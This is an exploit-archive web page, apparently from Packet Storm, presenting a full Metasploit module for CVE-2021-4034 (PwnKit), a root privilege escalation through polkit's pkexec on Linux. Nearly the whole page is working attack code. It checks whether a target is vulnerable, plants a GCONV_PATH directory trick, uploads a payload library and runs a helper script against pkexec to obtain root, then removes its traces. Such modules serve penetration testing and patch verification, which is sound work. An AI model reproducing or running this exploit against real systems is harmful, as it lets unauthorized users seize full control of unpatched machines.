exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Polkit pkexec Local Privilege Escalation

Polkit pkexec Local Privilege Escalation
Posted Mar 3, 2022
Authored by Qualys Security Advisory, Dhiraj Mishra, bwatters-r7, Andris Raugulis | Site metasploit.com

This is a Metasploit module for the argument processing bug in the polkit pkexec binary. If the binary is provided with no arguments, it will continue to process environment variables as argument variables, but without any security checking. By using the execve call we can specify a null argument list and populate the proper environment variables. This exploit is architecture independent.

tags | exploit
advisories | CVE-2021-4034
SHA-256 | 45168e34096e858ea0c2f1c2c12695c4121ec633a36c09aef6de9a8d95de3371

Polkit pkexec Local Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::Kernel
include Msf::Post::Linux::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Local Privilege Escalation in polkits pkexec',
'Description' => %q{
A bug exists in the polkit pkexec binary in how it processes arguments. If
the binary is provided with no arguments, it will continue to process environment
variables as argument variables, but without any security checking.
By using the execve call we can specify a null argument list and populate the
proper environment variables. This exploit is architecture independent.
},
'License' => MSF_LICENSE,
'Author' => [
'Qualys Security', # Original vulnerability discovery
'Andris Raugulis', # Exploit writeup and PoC
'Dhiraj Mishra', # Metasploit Module
'bwatters-r7' # Metasploit Module
],
'DisclosureDate' => '2022-01-25',
'Platform' => [ 'linux' ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [
[
'x86_64',
{
'Arch' => [ ARCH_X64 ]
}
],
[
'x86',
{
'Arch' => [ ARCH_X86 ]
}
],
[
'aarch64',
{
'Arch' => [ ARCH_AARCH64 ]
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PrependSetgid' => true,
'PrependSetuid' => true
},
'Privileged' => true,
'References' => [
[ 'CVE', '2021-4034' ],
[ 'URL', 'https://www.whitesourcesoftware.com/resources/blog/polkit-pkexec-vulnerability-cve-2021-4034/' ],
[ 'URL', 'https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt' ],
[ 'URL', 'https://github.com/arthepsy/CVE-2021-4034' ], # PoC Reference
[ 'URL', 'https://www.ramanean.com/script-to-detect-polkit-vulnerability-in-redhat-linux-systems-pwnkit/' ], # Vuln versions
[ 'URL', 'https://github.com/cyberark/PwnKit-Hunter/blob/main/CVE-2021-4034_Finder.py' ] # vuln versions
],
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK ]
}
)
)
register_options([
OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ]),
OptString.new('PKEXEC_PATH', [ false, 'The path to pkexec binary', '' ])
])
register_advanced_options([
OptString.new('FinalDir', [ true, 'A directory to move to after the exploit completes', '/' ]),
])
end

def on_new_session(new_session)
# The directory the payload launches in gets deleted and breaks some commands
# unless we change into a directory that exists
super
old_session = @session
@session = new_session
cd(datastore['FinalDir'])
@session = old_session
end

def find_pkexec
vprint_status('Locating pkexec...')
if exists?(pkexec = cmd_exec('which pkexec'))
vprint_status("Found pkexec here: #{pkexec}")
return pkexec
end

return nil
end

def check
# Is the arch supported?
arch = kernel_hardware
unless arch.include?('x86_64') || arch.include?('aarch64') || arch.include?('x86')
return CheckCode::Safe("System architecture #{arch} is not supported")
end

# check the binary
pkexec_path = datastore['PKEXEC_PATH']
pkexec_path = find_pkexec if pkexec_path.empty?
return CheckCode::Safe('The pkexec binary was not found; try populating PkexecPath') if pkexec_path.nil?

# we don't use the reported version, but it can help with troubleshooting
version_output = cmd_exec("#{pkexec_path} --version")
version_array = version_output.split(' ')
if version_array.length > 2
pkexec_version = Rex::Version.new(version_array[2])
vprint_status("Found pkexec version #{pkexec_version}")
end

return CheckCode::Safe('The pkexec binary setuid is not set') unless setuid?(pkexec_path)

# Grab the package version if we can to help troubleshoot
sysinfo = get_sysinfo
begin
if sysinfo[:distro] =~ /[dD]ebian/
vprint_status('Determined host os is Debian')
package_data = cmd_exec('dpkg -s policykit-1')
pulled_version = package_data.scan(/Version:\s(.*)/)[0][0]
vprint_status("Polkit package version = #{pulled_version}")
end
if sysinfo[:distro] =~ /[uU]buntu/
vprint_status('Determined host os is Ubuntu')
package_data = cmd_exec('dpkg -s policykit-1')
pulled_version = package_data.scan(/Version:\s(.*)/)[0][0]
vprint_status("Polkit package version = #{pulled_version}")
end
if sysinfo[:distro] =~ /[cC]entos/
vprint_status('Determined host os is CentOS')
package_data = cmd_exec('rpm -qa | grep polkit')
vprint_status("Polkit package version = #{package_data}")
end
rescue StandardError => e
vprint_status("Caught exception #{e} Attempting to retrieve polkit package value.")
end

if sysinfo[:distro] =~ /[fF]edora/
# Fedora should be supported, and it passes the check otherwise, but it just
# does not seem to work. I am not sure why. I have tried with SeLinux disabled.
return CheckCode::Safe('Fedora is not supported')
end

# run the exploit in check mode if everything looks right
if run_exploit(true)
return CheckCode::Vulnerable
end

return CheckCode::Safe('The target does not appear vulnerable')
end

def find_exec_program
return 'python' if command_exists?('python')
return 'python3' if command_exists?('python3')

return nil
end

def run_exploit(check)
if is_root? && !datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end

arch = kernel_hardware
vprint_status("Detected architecture: #{arch}")
if (arch.include?('x86_64') && payload.arch.first.include?('aarch')) || (arch.include?('aarch') && !payload.arch.first.include?('aarch'))
fail_with(Failure::BadConfig, 'Host/payload Mismatch; set target and select matching payload')
end

pkexec_path = datastore['PKEXEC_PATH']
if pkexec_path.empty?
pkexec_path = find_pkexec
end

python_binary = find_exec_program

# Do we have the pkexec binary?
if pkexec_path.nil?
fail_with Failure::NotFound, 'The pkexec binary was not found; try populating PkexecPath'
end

# Do we have the python binary?
if python_binary.nil?
fail_with Failure::NotFound, 'The python binary was not found; try populating PythonPath'
end

unless writable? datastore['WRITABLE_DIR']
fail_with Failure::BadConfig, "#{datastore['WRITABLE_DIR']} is not writable"
end

local_dir = ".#{Rex::Text.rand_text_alpha_lower(6..12)}"
working_dir = "#{datastore['WRITABLE_DIR']}/#{local_dir}"
mkdir(working_dir)
register_dir_for_cleanup(working_dir)

random_string_1 = Rex::Text.rand_text_alpha_lower(6..12).to_s
random_string_2 = Rex::Text.rand_text_alpha_lower(6..12).to_s
@old_wd = pwd
cd(working_dir)
cmd_exec('mkdir -p GCONV_PATH=.')
cmd_exec("touch GCONV_PATH=./#{random_string_1}")
cmd_exec("chmod a+x GCONV_PATH=./#{random_string_1}")
cmd_exec("mkdir -p #{random_string_1}")

payload_file = "#{working_dir}/#{random_string_1}/#{random_string_1}.so"
unless check
upload_and_chmodx(payload_file.to_s, generate_payload_dll)
register_file_for_cleanup(payload_file)
end

exploit_file = "#{working_dir}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"

write_file(exploit_file, exploit_data('CVE-2021-4034', 'cve_2021_4034.py'))
register_file_for_cleanup(exploit_file)

cmd = "#{python_binary} #{exploit_file} #{pkexec_path} #{payload_file} #{random_string_1} #{random_string_2}"
print_warning("Verify cleanup of #{working_dir}")
vprint_status("Running #{cmd}")
output = cmd_exec(cmd)

# Return to the old working directory before we delete working_directory
cd(@old_wd)
cmd_exec("rm -rf #{working_dir}")
vprint_status(output) unless output.empty?
# Return proper value if we are using exploit-as-a-check
if check
return false if output.include?('pkexec --version')

return true
end
end

def exploit
run_exploit(false)
end
end
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close